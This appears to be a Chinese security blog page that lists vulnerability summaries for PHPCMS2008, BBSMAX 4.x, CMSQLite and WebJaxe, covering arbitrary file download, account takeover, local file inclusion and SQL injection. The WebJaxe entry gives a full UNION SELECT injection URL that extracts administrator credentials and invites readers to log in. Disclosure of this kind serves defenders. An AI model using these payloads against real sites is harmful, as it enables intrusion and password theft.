PHPCMS2008SP4 多处漏洞
影响版本:phpcms2008sp4_UTF8_100510
1.首先看comment\down.php的12行
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
只判断文件后辍 PHP,但没有考虑到在win系统中,文件名为:“xx.php ” 后面多了一个空格。也会被认为是 xx.php文件,因此,利用这个原理,当phpcms运行在win系统下,我们可以下载任意文件
2.查看ads\include\ads.class.php的//110行 阅读全文 »
BBSMAX 4.x 论坛程序登陆任意用户,取得用户密码信息漏洞
转载:SEBUG
影响版本:
BBSMAX 4.x
漏洞描述:
在文件 register.aspx.cs 中
protected void Page_Load(object sender, EventArgs e)
{
string str = string.Empty;
str = base._Request.Get("active", Method.Get);
if (!string.IsNullOrEmpty(str))
{
if (BOBase<UserBO>:.Instance.ActivingUser(str)) //激活用户
{
base.ShowSuccess("恭喜!您的账号" + base.My.Username + "已成功激活。", BbsRouter.GetUrl("default"));
}
在激活用户的过程代码如下: 阅读全文 »
Tags: BBSMAX, 信息漏洞, 解密, 论坛CMSQLite <= 1.2 mod参数本地文件包含漏洞
转载:SEBUG
影响版本:
CMSQLite <= 1.2
CMSQLite是基于PHP和SQLite的内容管理系统,CMSQlite的index.php页面存在本地文件包含漏洞
if(isset($_GET['mod'])){
$module=$_GET['mod'];
}else{
$module="index";
}
...
if(file_exists("template/".$module.".php")){
include "template/".$module.".php";
}else{
include "template/index.php";
}
通过更改mod URL参数就可以包含webserver上的任意文件,导致泄漏敏感信息。 阅读全文 »
Tags: CMSQLite, mod, php, 文件包含, 漏洞WebJaxe SQL注入漏洞
作者:IHTeam
测试环境:Win/Linux
首先我们需要注册一个用户,完成之后用注册用户登录,访问注入地址即可暴出管理员用户名和密码了,给个示例地址
http://jiaozhu.org/php/partie_administrateur/administration.php?page=projet_contribution&id_contribution=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(prenom,char(58),motdepasse),3,4,5,6/**/FROM/**/utilisateurs
登录吧,自由发挥
Tags: SQL, WebJaxe, 注入